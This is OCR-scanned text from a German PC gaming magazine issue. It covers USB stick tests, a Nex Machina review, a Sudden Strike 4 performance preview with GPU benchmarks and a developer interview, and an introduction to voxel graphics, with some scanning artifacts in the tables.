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Das einfache Verschlüsselungs-Tool Secure Access ist für alle Sandisk-Speicher ver- 
fügbar. Der (AES 128 Bit) verschlüsselte Container ist mit einem Passwort geschützt. 
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© SSD-ähnliche Leistung 
© Lange Garantie 
© Teuer 


Wertung: Ж ЖЖЖ? 


© Gutes P/L-Verhàltnis 
© Lange Garantie 


© Mittelmäßige Leistung 


Wertung: Ж ЖЖЖ 


© Stabiles Metallgehäuse 
© Gute Kopierleistung 
© Klobiges Format 


Wertung: ЖЖЖ 


Produkt Extreme Pro Extreme Go Flash Voyager GTX Supersonic Rage 2 U al Drive 

Hersteller Sandisk Sandisk Corsair Patriot Sandisk 

www.pcgh.de/preis/1562088 www.pcgh.de/preis/1562090 www.pcgh.de/preis/1302174 www.pcgh.de/preis/1250551 www.pcgh.delpreis/1449935 

Preis/Preis-Leistungs-Verháltnis Ca. € 90,-/ausreichend Ca. € 60/gut Ca. € 156/befriedigend Ca. € 56,-/befriedigend Са. € 51,-/gut 

Garantie 30 Jahre 30 Jahre 5 Jahre 5 Jahre 5 Jahre 

Eigenschaften 

Kapazität (Dezimal/binär) 128 GB/117,8 GiB 128 GB/117,8 GiB 256 GB/238,4 GiB 128 GB/117,8 GiB 128 GB/117,8 GiB 

Preis pro GiB Ca. € 0,76 Ca. € 0,51 Ca. € 0,65 Ca. € 0,48 Ca. € 0,43 

USB-Standard USB-A 3.0 USB-A 3.0 USB-A 3.0 USB-A 3.0 USB-A 3.0, USB-C 3.0 

Zubehör/Besonderheiten Sandisk Secure Access (Verschlüsse- | Sandisk Secure Access (Verschlüsse- |Metallgehäuse - Zwei USB-Stecker 
lungs-Tool) lungs-Tool) 

Größe (L x B x H)/Gewicht 71x21x 11 mm/18g 71x21x11 mm/11g 78 x 26 x 9 mm/52 g 53 x 21 x 10 mm 38 x 20 x 9 mm/9 g 

Typ/LED für Aktivität Slider/Ja Slider/Ja Mit Schutzkappe/Ja Slider/Ja Slider/Nein 

AS SSD (Seq. Lesen/Schreiben) 380/332 MB/s 188/134 MB/s 356/75 MB/s 324/180 MB/s 148/43 MB/s 

Kopiertest (10 GiB, 50.000 Dateien) 8 Min. 7 Sek. 20 Min. 10 Sek. 10 Min. 10 Sek. 58 Min. 24 Sek. 37 Min. 29 Sek. 

2.500 Bilder skalieren (Irfanview-Stapel) 4 Min. 48 Sek. 5 Min. 29 Sek. 5 Min. 8 Sek. 6 Min. 42 Sek. 4 Min. 43 Sek. 

Spieleinstallation (Oil Rush, 680 MB) 1 Min. 2 Sek. 8 Min. 3 Sek. 1 Min. 8 Sek. 8 Min. 4 Sek. 3 Min. 5 Sek. 


© Kompaktes Format 
© Relativ günstig 
© Schwache Kopierleistung 


Wertung: ЖЖ Ж7 
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© Zwei USB-Stecker 
© Kompaktes Format 
© Schwache Leistung 


Wertung: soe 


103 


Spiele & Software 


Frank Stówer 
Fachbereich Retro-Spiele 
E-Mail: fs@pcgh.de 


Kommentar 


Retro-Konsolen - erleben Spiele mit ein- 
fachem Spielprinzip eine Renaissance? 


Das SNES Mini, Nintendos geschrumpfte Re- 
tro-Konsole, ist bereits Monate vor Release 
vergriffen oder wird zu Mondpreisen verkauft. 
Atari stellt mit der Ataribox eine Konsole für 
Atari-VCS-2600-Klassiker vor, die dank Internet 
und SD-Karte auch auf dem PC laufen. Titel mit 
Retro-Spielhallen-Flair, bei denen wie beim hier 
vorgestellten Nex Machina schnörkelloser, rasanter 
Ballerspaß im Vordergrund steht, haben wieder 
Konjunktur. So wie es aussieht, scheint das Re- 
tro-Gaming in diesem Jahr (schon) wieder eine 
Renaissance zu erleben. Doch was macht die ollen 
Spiele-Kamellen erneut so beliebt? Die Grafik ist es, 
vom Effektfeuerwerk in Nex Machina abgesehen, 
bestimmt nicht. Ich vermute, es ist die Schlichtheit 
des Spielprinzips, die dafür sorgt, das SNES-Titel 
wie Super Castlevania IV, Super Ghouls'n'Ghosts, 
Super Mario Kart und Donkey Kong Country oder 
VCS-2600-Klassker wie Asteroids, Defender, Space 
Invaders sowie Pac Man ihren Reiz auch heutzuta- 
ge nicht verloren haben. Manchmal reicht es eben 
doch, wenn ohne viel Story und anderen Schnick- 
Schnack einfach nur schnelle Reaktion und Ge- 
schicklichkeit beim Zocken gefragt sind. ;-) 
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* Quelle: Saturn, Top 20 vom 15.07.2017 


Nex Machina 


Arcade-Spezialist Housemarque inszeniert mit Nex 
Machina eine sehr effektvolle, bunte und intensive 
Twin-Stick-Action - ein echter Spiele-Geheimtipp! 


ex Machina des Indie-Entwicklers House- 

marque gehórt zu den Überraschungsti- 
teln dieses Jahres. Nur wenige Spieler hatten den 
Action-Titel, dessen hauseigene Grafik-Engine 
aus Voxeln gewonnene Polygone nutzt, auf dem 
Radar. Kaum zu glauben, präsentiert das für ein 
Gamepad mit zwei Mini-Sticks optimierte Nex 
Machina doch vom Anfang an rasend schnelle, 
intensive Action, bei der die Highscore-Jagd im 
Vordergrund steht. Grafisch glánzt das arcadige 
Ballervergnügen mit einem Effektfeuerwerk, 
bei dem die herumfliegenden „Voxel”-Brocken 
per GPU-Partikeleffekt gerendert werden - es 
ist also die Compute-Leistung der Grafikchips 
gefragt. Auf der spielerischen Seite steht ein 
schnórkelloses Gameplay, bei dem Sie in der 
Draufsicht die Rolle eines Hightech-Soldaten 
übernehmen, der sich, von stimmungsvollem 
Techno-Sound begleitet, 
schiedliche Welten sowie ein verstecktes Bonus- 
Level ballern muss. Jede Spielwelt besteht aus 
kleinen Arenen, in denen es sehr von Gegnern 
nur so wimmelt. Deren nur mittelmäßiges De- 


durch fünf unter- 


sign bekommen Sie bei der Flut an Kontrahen- 
ten kaum mit. Genau diese fordernde, stets hek- 


BEIN Nis 1 SA 
P 092017. *“ 


tische Punktejagd macht den eigentlichen Reiz 
des auch im Koop-Modus spielbaren Bullet-Hell- 
Wahnsinns aus. 


Einen weiteren Anreiz bei der Jagd nach dem 
Highscore bringen Bonuspunkte durch gerettete 
Menschen sowie Upgrades, die den Waffenscha- 
den erhöhen oder eine Bonusknarre einbringen. 
Noch spannender sind jedoch die vielen kleinen 
Geheimnisse (Secrets), die man in den Welten 
findet, wenn man bestimmte Objekte zerstört. 
Trotz all dieser Vorzüge muss sich Nex Machina 
die Kritik gefallen lassen, dass der Umfang zu 
gering ist, es nur fünf plus zwei versteckte Boss- 
gegner gibt und auch die Zahl an Waffen und Up- 
grades hátte hóher ausfallen kónnen. (fs) 


FAZIT: Wer an einem absolut arcadigen Ballervergnügen in al- 
ter Spielhallentradition Spaß hat, ist bei Nex Machina bestens 
aufgehoben. Da der Gamepad-optimierte Twin-Stick-Titel mit 
20 Euro günstig ausfällt, können sich aber auch Fans anderen 
Genres hier einmal auf die Highscore-Jagd begeben. 


Genre: Arcade-Action | Web: www.housemarque.com/ 
games/nexmachina | Technik: Eigene Engine mit auf Vo- 
xeln basierender Grafik | Empfohlener PC: Core i5-7400/ 
AMD R5 1400, GTX 1060/R9 280X, 8 Gigabyte RAM 
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AKTUELL 


Kommt zu unserer 


Leserlounge in Halle 8, СОЗО 
und macht es euch gemütlich! 


Exklusiv für Abonnenten: 


| | Unsere treuen Abonnenten dürfen 
Kg, | sich auf ein nettes Geschenk 
| Lech Bringt den Coupon, der 
| і HE 
Besucht uns auf der gamescom in Kóln und macht es euch in unserer Lounge gemütlich! WM SC SEN RE 


Unsere treuen Abonnenten dürfen sich auf ein nettes Geschenk freuen. | zum Stand mit und holt euch euer 
Treue-Goodie!* 


Gebt diesen Coupon ausgefüllt am Stand (Halle 8, C030) ab und holt euch euer Treue-Goodie!" 


1 Nur solange Vorrat reicht! Wenn Vorrat aufgebraucht, kein Anspruch auf Ersatz. 


* Nur solange Vorrat reicht! Wenn Vorrat aufgebraucht, kein Anspruch auf Ersatz 
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SPIELE & SOFTWARE | Sudden Strike 4 


Sudden Strike 4 nähert sich mit großen 


Schritten dem Release. Passend zu unserer 


DVD-Vollversion werfen wir einen Blick auf 


die Performance des kommenden vierten 


_ Teils der Weltkriegs ategie. 


trategische | 
Hochleistung? 


D: Sudden-Strike-Reihe hat 


insbesondere bei reiferen 
Hardcore-Strategen eine große 
Fanbase. Mit Sudden Strike 3 er- 
schien 2007 der bislang letzte Teil, 
damals noch entwickelt vom rus- 
sischen Studio Fireglow Games. 
Dieser Entwickler hat sich seitdem 
von aufwendigeren PC-Produktio- 
nen abgewandt und fokussiert sei- 
ne Bemühungen auf Casual- und 
Mobile-Games. 


Mit Sudden Strike 4 soll die Stra- 
tegiespiel-Reihe demzufolge nach 
beinahe zehn Jahren wieder auf- 
erstehen. Kalypso, Software-Un- 
ternehmen und Publisher, beauf- 
tragte dafür das neu gegründete 
ungarische Studio Kite Games, das 
sich unter anderem aus Veteranen 
des Entwicklers Stormregion zu- 
sammensetzt. Jenes Studio hat sich 
mit Codename: Panzers einen Na- 
men gemacht und hat Erfahrung 
mit Weltkriegsstrategie mit hohem 
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Anspruch. Wir haben eine fast fer- 
tige Version von Sudden Strike 4 
ausführlich testen können, offen- 
bar ist es dem ungarischen Ent- 
wickler gelungen, das Konzept der 
Strategiespiel-Reihe um zehn Jahre 
nach vorne zu bringen. 


Mit Unity an die Front 

Die offensichtlichste Änderung 
ist die technische Basis: Natürlich 
wird für Sudden Strike 4 nicht 
mehr die klassische 2D-Engine der 
beiden ersten Serienteile einge- 
setzt. Auch die 3D-Engine Sudden 
Strike Next7 des dritten Spiels hat 
ausgedient. Stattdessen nutzt Teil 4 
der Weltkriegsstrategie die aktuell 
sehr weit verbreitete Unity-Engine. 
Dieser Grafikmotor ist bislang eher 
weniger für grafische Opulenz be- 
kannt, doch die aktuellen Versio- 
nen der Engine sind recht modern 
und durchaus für eine schnieke 
Optik gut. Davon können Sie sich 
beispielsweise anhand der Adam- 


~ 


Demo selbst überzeugen (https:// 
unity3d.com/de/pages/adam). 
Sudden Strike 4 nutzt dieses tech- 
nische Potenzial konsequent aus 
und verwendet beispielsweise 
den physikbasierten Renderer der 
Engine, eine Vielzahl Partikel- und 
Verzerrungseffekte, wechselnde 
Witterungseinflüsse und schicke 
Screen-Space-Reflexionen sowie 
einige schicke Lichteffekte. Zudem 
lässt sich die Umgebung zu Teilen 
zerstören und beinahe jedes Ob- 
jekt, jeder Busch und jeder Baum 
besitzt ein eigenes Physikmodell. 
Dieses zeigt sich von beeindru- 
ckender Seite, wenn wir unsere 
Truppen durch dicht bewachsene 
Vegetation dirigieren, wie etwa ein 
Feld voll Mais oder Sonnenblumen. 
Während Fufštruppen nur einzelne 
Pflanzen niedertrampeln und so 
Pfade durch die Vegetation ziehen, 
walzen unsere Kettenfahrzeuge 
regelrechte Schneisen in das Pflan- 
zenreich. Außerdem hinterlassen 


Fahrzeuge spuren in Gras, Staub, 
Schnee oder Matsch. Das ist nicht 
nur optisch ansehnlich, sondern 
lässt sich auch taktisch nutzen, 
schließlich werden Truppenbewe- 
gungen so offensichtlich. 


Neben der Vegetation sind auch 
Teile der Karten, darunter etwa Ge- 
bäude, in denen Infanterie Schutz 
suchen kann, aber auch Eisflächen 
zerstörbar. Panzergranaten und 
ähnliche Geschosse verwandeln 
Gebäude und Bunker in Schutt und 
Asche, geschickt platzierte Schüs- 
se lassen das Eis unter dem Feind 
zerbrechen, wer unbedacht seine 
schweren Panzer über gefrorene 
Wasserflächen schickt, sieht die 
teuren Stahlmonster bald in den 
Fluten absaufen. All diese physika- 
lischen Zerstörungsorgien werden 
optisch ansehnlich von der Engine 
dargestellt und sind samt der zuge- 
hörigen Explosionen und Effekte 
ein grafisches Highlight in dem 
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Sudden Strike 4 (Beta): Grafikkarten im Leistungstest 


1.920 х 1.080, max. Details, Ingame-AA/16:1 HQ-AF - „Stalingrad” 


EVGA GTX 1080 Ti SC2/11G. us 152,3 (+85 %) 
Gigabyte GTX 1080 G1 Gaming/BG Eam 138,6 (+68 96) 
Palit GTX 980 Ti Super Jetstream/6G EM 124,7 (+51 %) 
Inno 3D GTX 1070 ХЗ Ultra/&G E 120,5 (+46 96) 
AMD Radeon R9 Fury X/4G Egit: 99,1 (+20 96) 
Asus GTX 980 Strix/4G gg! 92,5 (+12 9) 
HIS R9 390X IceQ X? Turbo/8G. si H 83,4 (+1 96) 
Powercolor RX 580 Red Devil GS/8G gH 83,3 (+1 96) 
Zotac GTX 1060 AMP/6G wit 82,5 (Basis) 
MSI GTX 970 Gaming/3,5+0,56 pent 79,3 (-4 %) 
Sapphire R9 290 Tri-X OC/AG Ee 72,7 (-12 %) 
Palit GTX 780 Jetstream/3G QEIIIAJUOOIIINEFFCG@GIOZI@ZZIórI 96) 
Gigabyte RX 470 G1 Gaming/AG. ge 69,1 (-16 96) 
HIS R9 280X IceQ X? Turbo/3G Essi 58,5 (-29 96) 
Gigabyte GTX 770 Windforce OC/2G E5611 58,2 (-29 96) 
Asus R9 270X DCH TOP/2G EX? 44,8 (-46 96) 


2.560 x 1.440, max. Details, Ingame-AA/16:1 HQ-AF - ,Stalingrad" 


EVGA GTX 1080 Ti 5С2/116 Xa 137,4 (+155 %) 
Gigabyte GTX 1080 G1 Gaming/8G Exit 96,5 (+79 %) 
Palit GTX 980 Ti Super Jetstream/6G |n 79,2 (+47 96) 
Inno 3D GTX 1070 ХЗ Ultra/8G ann 77,6 (+44 %) 
AMD Radeon R9 Fury X/4G [6t 69,5 (4-29 96) 
Asus GTX 980 Strix/4G Es! 59,5 (+11 96) 
HIS R9 390X IceQ X? Turbo/8G [Essa] 56,8 (+6 96) 
Powercolor RX 580 Red Devil GS/8G pg 56,3 (+5 96) 
Zotac GTX 1060 AMP/6G Es 53,8 (Basis) 
MSI GTX 970 Gaming/3,5--0,5G. Ea] 50,0 (-7 96) 
Sapphire R9 290 Tri-X OC/4G Xn 49,4 (-8 %) 
Gigabyte RX 470 G1 Gaming/4G ISI II III$OOIOIIƏIIIIƏT?QQ1 (-12 96) 
Palit GTX 780 Jetstream/3G wr 46,8 (-13 96) 


3.440 x 1.440, max. Details, Ingame-AA/16:1 HQ-AF - „Stalingrad” 


EVGA GTX 1080 Ti SC2/11G [Eoi 113,7 (4-168 96) 
Gigabyte GTX 1080 G1 Gaming/8G mE 76,5 (+80 96) 
Palit GTX 980 Ti Super Jetstream/6G Log 62,4 (+47 96) 
Inno 3D GTX 1070 ХЗ Ultra/8BG. slt 61,6 (+45 96) 
AMD Radeon R9 Fury X/4G Ltr 56,2 (+32 96) 
Asus GTX 980 Strix/4G. EMI 47,1 (+11 96) 
HIS R9 390X IceQ X? Turbo/8G [Xuan 45,2 (+6 96) 
Powercolor RX 580 Red Devil GS/8G [Xm 45,1 (+6 96) 
Zotac GTX 1060 AMP/6G |i] 42,5 (Basis) 
MSI GTX 970 Gaming/3,5+0,56 X37! 39,9 (-6 96) 
Sapphire R9 290 Tri-X OC/AG. EBEN 39,1 (-8 96) 
Palit GTX 780 Jetstream/3G [341 37,8 (-11 96) 
Gigabyte RX 470 G1 Gaming/4G MESA] 37,6 (-12 96) 
HIS R9 280X IceQ X? Turbo/3G [993911 33,0 (-22 %) 
Gigabyte GTX 770 Windforce OC/2G 381! 29,9 (-30 96) 
Asus R9 270X DC2 TOP/2G BEEZ] 24,0 (-44 96) 


3.840 x 2.160, max. Details, Ingame-AA/16:1 HQ-AF - „Stalingrad” 


EVGA GTX 1080 Ti SC2/11G. pnt! 76,8 (4-157 96) 
Gigabyte GTX 1080 G1 Gaming/8G [Xs 53,7 (+80 96) 
Palit GTX 980 Ti Super Jetstream/6G XXn 44,7 (+49 96) 

Inno 3D GTX 1070 ХЗ Ultra/8G. [Xuan] 44,5 (+49 96) 

AMD Radeon R9 Fury X/4G 381? 40,8 (+36 96) 

Asus GTX 980 Strix/4G Ltr 33,1 (+11 96) 
HIS R9 390X IceQ X? Turbo/8G [ff] 32,6 (+9 96) 
Powercolor RX 580 Red Devil GS/8G ШЕ 91 30,8 (4-3 96) 
Zotac GTX 1060 AMP/6G ВЕ 28]! 29,9 (Basis) 
Sapphire R9 290 Tri-X OC/AG [2611 28,2 (-6 %) 
MSI GTX 970 Gaming/3,5+0,5G [9938] 27,8 (-7 96) 
Gigabyte RX 470 G1 Gaming/AG ШЕ 21| 25,7 (-14 96) 
Palit GTX 780 Jetstream/3G В 231] 25,1 (-16 96) 
HIS R9 280X IceQ X? Turbo/3G ЖЕШ! 23,2 (-22 96) 


HIS R9 280X IceQ X? Turbo/3G E391] 41,4 (-23 96) 
Gigabyte GTX 770 Windforce OC/2G [381] 38,0 (-29 96) 
Asus R9 270X DC2 TOP/2G Ш 82811 30,3 (-44 %) 


Gigabyte GTX 770 Windforce OC/2G Ш] 18,5 (-38 96) 
Asus R9 270X DC2 TOP/2G A| 15,2 (-49 96) 


System: Core i7-6800K @ 4,4 GHz (Ring/L3: 3,6 GHz), Mal X99A Tomahawk, 4 x 8 GiB Corsair DDR4-3000 (1T); Windows 10 x64, Geforce 384.80 Hotfix, Radeon Software 17.6.2 Non-WHQL, HQ-AF 
Bemerkungen: Basis ist die verbreitetste spieletaugliche Grafikkarte laut Steam Hardware Survey (Juni 2016). 


Mimil @ Fps 


> Besser 


sonst eher authentischen denn 
prachtvollen Strategiespiel. 


In niedrigeren Auflösungen wie 
Full HD wirkt das Bild zudem etwas 
unscharf und ausgewaschen, ein 
Nebeneffekt der Post-Processing- 
Kantenglättung (offenbar FXAA). 
Darüber hinaus greift das Anti- 
Aliasing nicht zuverlässig, einzelne 
Kanten, Teile der Vegetation und 
feinere Strukturen bleiben unge- 
glättet, außerdem ist Shaderflim- 
mern asuzumachen - insbeson- 
dere die Screen-Space-Reflections 
neigen ein wenig zum Griefšeln. 
Sudden Strike 4 profitiert deutlich 
von höheren Auflösungen, diese 
kleinen Ärgerlichkeiten treten bei 
steigender Pixeldichte in den Hin- 
tergrund. 


Schon die Vorabversion 
zeigt gute Performance 
Wie von der Unity-Engine gewohnt, 
läuft auch Sudden Strike 4 im Bor- 
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derless-Window-Mode. Dies kommt 
mit einigen Nebeneffekten, da- 
runter eine auch bei deaktiviertem 
Vsync aktive Bildsynchronisation. 
Des Weiteren müssen Sie, wenn 
Sie Downsampling beispielsweise 
via DSR/VSR nutzen wollen, zuerst 
die Desktop-Auflösung auf den 
gewünschten Wert setzen. Oder 
Sie nutzen den praktischen Ska- 
lierungsregler im Optionsmenü. 
Dieser reicht über sechs Stufen 
von 67 bis 200 Prozent und erlaubt 
damit sowohl Upscaling als auch 
Supersampling. Letzteres ist aus im 
letzten Absatz genannten Gründen 
sehr empfehlenswert: Die Optik 
profitiert deutlich, das Bild trotz 
vieler feiner, bewegter Details 
wirkt ruhiger. 


Diese Art der Kantenglättung ist 
natürlich sehr ineffizient, doch 
Sudden Strike 4 läuft bereits mit 
Mittelklasse-GPUs ausgesprochen 
flüssig, 60 Fps und mehr sind zu- 


dem bei einem eher gemächlichen 
Strategiespiel nicht zwingend er- 
forderlich - es steht Ihnen daher 
mit hoher Wahrscheinlichkeit noch 
etwas Leistung zur Verfügung, die 
Sie in Supersampling investieren 
können. Tatsächlich läuft Sudden 
Strike 4 beinahe schon überra- 
schend gut: Selbst in konstruierten 


Gefechten mit bis zu acht Mitstrei- 
tern im Skirmish bricht die Leis- 
tung trotz unzähligen Einheiten, 
Explosionen, Partikeleffekten, von 
dicken Panzerungen abprallenden 
Granaten, Wracks samt Physik- 
modell sowie zerstörbaren Um- 
gebungen und dichter Vegetation 
nicht über Gebühr ein. Relativ an- 


Sudden Strike 4 zeichnet sich durch einen hohen Detailgrad sowie umfassende 
Physik- und Zerstörungsmodelle für beinahe jedes Objekt auf dem Bildschirm aus. 
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Sudden Strike 4 unterstützt das 21:9-Format. Dabei kommt eine etwas höhere Zoomstufe zum Einsatz. Der Überblick steigt gegen- 


über dem 16:9-Format im Gesamten, nicht nur an den Bildschirmrändern links und rechts. 


Im Interview: Peter Bajusz, Technischer Direktor Kite Games 


PCGH: Sudden Strike 4 nutzt Unity. 
Warum habt ihr euch für diese Engine 
entschieden? 


Peter Bajusz: Wir brauchten eine Engine, 
die sich für all die Plattformen (PC, Linux, 
MacOS, PS4) eignet, die wir unterstützen 
wollten, und außerdem die Möglichkeit bie- 
tet, schnell Support für weitere Plattformen 
zu ergänzen, sollte dies nötig werden. Von 
allen Kandidaten war Unity die Engine, mit 
der wir am zügigsten einen lauffähigen 
Prototyp entwickeln konnten. Nachdem wir 
einen spielbaren Prototyp mit Unity entwi- 
ckelt hatten, haben wir erkannt, dass wir 
das komplette Spiel auch gleich mit diesem 
Grafikmotor anfertigen können, und haben 
uns daher entschlossen, weiterhin auf die 
Unity-Engine zu setzen. 


PCGH: Die Unity-Engine unterstützt ja 
einige recht fortschrittliche Render- 
techniken, darunter etwa Physically 
Based Rendering oder eine dynamische 
Globale Beleuchtung. Kannst du spe- 
zifizieren, welche Rendertechniken in 
Sudden Strike 4 Verwendung finden? 


Peter Bajusz: Wir nutzen Physically Based 
Rendering sowie Deferred Shading, beides 
sind mit der Unity Version 5 hinzugekom- 
mene, neue Rendertechniken. Eine Globale 
Beleuchtung ergibt allerdings bei Spielen 

in geschlossenen Ráumen deutlich mehr 
Sinn als in einem Echtzeitstrategie-Titel 

wie Sudden Strike 4. Daher haben wir auf 
eine weniger komplexe, performantere 
Berechnung ohne GI gesetzt und nutzen die 
Umgebungsverdeckung, um die Beleuchtung 
zu komplettieren. 


PCGH: Sowohl Physik und Effekte als 
auch Einheitendichte sind eindrucks- 
voll. Aber selbst mit viel Action auf 
dem Schirm bleiben die Bildraten in 
unserer Preview-Fassung hoch und 
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ziemlich stabil. Außerdem wird die 
CPU-Last sehr gleichmäßig auf unseren 
acht CPU-Kernen und insgesamt 16 
Threads verteilt. Skaliert die Unity- 
Engine tatsächlich ohne weitere An- 
passungen so gut über vier und mehr 
Kerne oder musstet ihr die Engine stark 
optimieren? 


Peter Bajusz: Generell teilt die Unity-Engine 
die Hauptlast in zwei stark belastete CPU- 
Threads (Main, Renderer). Einige weitere 
Aufgaben, beispielsweise Culling, Partikel 
und Animationen, werden auf weitere Helfer- 
Threads und die übrigen CPU-Kerne verteilt, 
aber das ist bei Weitem nicht genug, um 
diese effektiv auszulasten. Wir haben unseren 
Spiele-Code auf einen eigenständigen Thread 
gelegt und damit den Main-Thread entlastet. 
Somit haben wir eine wesentlich bessere 
Auslastung auf breiten Vielkern-Prozessoren. 
Einige der eingeflossenen Optimierungen 
sind das direkte Ergebnis unserer Arbeit an 
der PS4-Version — dort läuft Sudden Strike 4 
auf sieben CPU-Kernen. 


PCGH: Seit der Version 5.4 unterstützt 
Unity Direct X 12 und seit Version 5.6 
kann die Vulkan-Schnittstelle genutzt 
werden. Gibt es zukünftige Pläne für 
einen Support einer dieser APIs? 


Peter Bajusz: Direct X 12 und Vulkan 
würden die CPU-Last auf dem Render-Thread 
reduzieren, doch dieser war in unseren 
Benchmarks nie ein Flaschenhals. Eine stabile 
Version für eine dieser APIs zu entwickeln 
würde daher sehr viel Aufwand bei der Im- 
plementierung, der Qualitátssicherung, dem 
Bugfixing sowie zusätzliche Arbeit an der 
Engine mit sich bringen, ohne dass Spieler 
daraus einen wirklichen Nutzen ziehen 
würden. Direct X 12 und Vulkan werden in 
Zukunft echte Vorteile bringen, und zwar 
dann, wenn ein Support dieser Schnittstellen 


Peter Bajusz, Technical Director Kite 
Games 


als Minimal-Anforderung akzeptabel ist. 
Dann können wir nochmals deutlich mehr In- 
halte auf dem Schirm darstellen und könnten 
gleichzeitig sicher sein, dass auch jeder 

in den Genuss des höheren Detailgrades 
kommen würde. 


PCGH: Sudden Strike 4 erscheint auch 
für Linux. Gibt es eurer Meinung nach 
ein wirkliches Wachstumspotenzial für 
dieses Betriebssystems als Gaming- 
Plattform gegenüber Windows? 


Peter Bajusz: Na ja, das kommt wirklich 
auf die Großen im Spiele-Business an und ob 
sie sich dazu entscheiden, sich hinter Linux 
zu stellen. Unterdessen stehen wir mit der 
Linux-Fassung von Sudden Strike 4 schon 
bereit, sollte sich eine handfeste Nachfrage 
für diese Plattform ergeben. 


PCGH: Welche Errungenschaft während 
der Entwicklung macht euch besonders 
stolz? 


Peter Bajusz: Wir haben es geschafft, 
unser Studio, unser Team, die technische 
Infrastruktur und darüber hinaus auch noch 
unser Produkt in nur zwei Jahren von Grund 
auf und ohne größere Schwierigkeiten 
aufzubauen. 


spruchsvoll sind indes die Screen- 
Space-Reflections. 
mit dem Setzen der Wasserqualität 
auf hohe Qualität aktiv und können 
schon mal gute 20 Prozent Leistung 
verschlingen. Solch große Einbrü- 
che haben wir aber im Grunde nur 
bei Nahansichten von Wasserober- 
flächen verzeichnen können, bei 
höheren Zoomstufen fallen die Re- 
flexionen weniger kostspielig aus. 
Recht viel Leistung benötigt ne- 
ben den Spiegelungen außerdem 
die ansehnliche und flimmerarme 
Umgebungsverdeckung, die im 
Optionsmenüs als anspruchsvoll 
vermerkte Kantenglättung ist indes 
fast umsonst. 


Diese werden 


An der erfreulich guten Perfor- 
mance ist auch die CPU und deren 
Auslastung beteiligt. Optimierun- 
gen bei der Verteilung der CPU-Last 
über eine größere Anzahl Threads 
verhilft Sudden Strike 4 auch in 
komplexen und chaotischen Sze- 
nen zu verhältnismäßig hohen 
Bildraten. Die Optimierungen sind 
zumindest zu Teilen ein Nebenpro- 
dukt der Arbeiten an der PS4-Fas- 
sung und deren im Vergleich zum 
PC eher schwachen Jaguar-CPU (s. 
Interview). Die PC-Version kann 
ebenfalls von mehr als vier Rechen- 
werken profitieren, doch reichen 
in unserem Benchmark bereits 
zwei Kerne samt Hyperthreading 
sowie 3,0 GHz, um ein Minimum 
von 60 Fps stabil zu halten. Da er- 
scheint auch die Ankündigung, 
dass man sich für Sudden Strike 4 
gegen Direct X 12 und Vulkan ent- 
schieden hat, nicht wirklich enttäu- 
schend. Die Performance ist auch 
auf schwächeren Systemen sehr 
ordentlich. Eine zusätzliche CPU- 
Entlastung oder ein paar Prozent- 
pünktchen Leistungsgewinn durch 
Asynchronous Compute sind tat- 
sächlich kaum notwendig. 


Die schon in der Preview-Version 
überzeugende Performance hin- 
gegen lässt auf einen sauberen Re- 
lease hoffen. Unsere Vorabversion 
lief performant, stabil und absturz- 
frei, größere Fehler blieben uns er- 
spart. Ein paar der kleineren Bugs 
wie hin und wieder auftretende 
Physikaussetzer, die während des 
Testlaufs auftraten, dürften sich bis 
zur geplanten Veröffentlichung am 
11. August beheben lassen. Hobby- 
strategen dürfen sich das Datum 
schon mal vormerken. (pr) 
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Quader gegen Dreieck 


In diesem Artikel wollen wir uns mit der Voxel-Darstellung auseinandersetzen. Aktuell findet diese 


Technik in Spielen wieder häufiger Gebrauch, doch bleibt sie meist hinter Polygonen verborgen. 


ktuell sind Voxel wieder in al- 
A. Munde. Den hippen Status 
verdankt die Technik insbesondere 
Indie-Titeln wie Minecraft, 7 Days 
to Die, Nex Machina und anderen 
Spielen in „Klötzchen-Optik“, wie El- 
dritch (siehe Aufmacher). Dabei ist 
Voxel-Grafik keine neue Erfindung 
und tatsächliche Voxel bekommen 
Sie in keinem der genannten Titel 
zu Gesicht. Was Sie aktuell in Spielen 
mit Voxel-Technik sehen, ist Voxel- 
basierte (2 Polygongrafik. Die En- 
gine nutzt Voxel also lediglich intern. 


Ein Voxel ist im Grunde ein dreidi- 
mensionales Pixel. Während letze- 
rer Begriff aus „Picture“ (Pix) und 
„Element“ (el) zusammengesetzt 
wird, besitzt ein Voxel einen Kör- 
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per, daher „Volume“ und „Element“ 
- Voxel. Etwas konkreter ist die 
ebenfalls gebräuchliche Herleitung 
aus „Volume“ und „Pixel“: Ein Voxel 
ist demnach ein Bildpunkt mit Volu- 
men, ein „3D-Pixel“ also. Dieses hat 
im Vergleich zum regulären Pixel 
drei statt zwei Koordinaten (x, y, 
z) sowie einen einzelnen Farbwert. 
Im Grunde lässt sich aus diesen 
3D-Pixeln eine hochdetaillierte, 
dynamische sowie ausgesprochen 
organische Grafik realisieren. Doch 
natürlich gibt es einen Haken: Die 
Darstellung einer hochauflösenden 
Voxel-Szene wäre extrem rechen- 
aufwendig und die auf Beschleuni- 
gung von Polygonen ausgelegte Gra- 
fikkarte nur sehr begrenzt hilfreich 
- die Voxel müssten zumindest zu 
weiten Teilen von der CPU gehand- 


habt werden. Außerdem müsste in 
einem dreidimensionalen Gitter für 
jeden (potenziellen) Voxel ein Spei- 
cherplatz reserviert werden, bei 
dynamischer Darstellung gar mit 
ständigem Lese- und Schreibzugriff. 
Je höher aufgelöst und größer eine 
Voxel-Welt also ausfällt, desto mehr 
Speicher benötigt sie. Der Speicher 
stellt damit neben der leistungsin- 
tensiven Darstellung die wohl größ- 
te Problemstelle bei Voxeln dar. 
Trotz Optimierungen beziehungs- 
weise Speichereinsparungen via 
(Sparse-)Octree-Kompression be- 
kommen Sie ,echte* Voxel-Grafik in 
Spielen daher nur selten zu Gesicht. 


Ihren Ursprung haben Voxel in der 
Medizin, genauer in der Magnetre- 
sonanztomographie (MRD. Auch 


andere (und sündhaft teure) wis- 
senschaftliche Scanner nutzen seit 
den 1980er Jahren Voxel-Grafik für 
eine genaue 3D-Abbildung und er- 
lauben dem Arzt so beispielsweise, 
in den Kopf eines Patienten zu bli- 
cken, ohne diesen aufzuschneiden. 
Anno 1992 schwappte Voxel-Grafik 
in Form der Voxel Space Engine auf 
den PC herüber. Die von Novalo- 
gic patentierte Technik kam unter 
anderem in der Hubschraubersi- 
mulation Comanche zum Einsatz 
und war damals das Nonplusultra 
in Sachen Landschaftsdarstellung. 
Auch andere Spiele experimentier- 
ten mit Voxel-Grafik. Sehen wir uns 
doch einmal einige Beispiele von 
damals und heute genauer an, um 
Unterschiede bei den Techniken zu 
verdeutlichen. (pr) 
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Die Voxel Space Engine und Voxel-Grafik in Shadow Warrior 


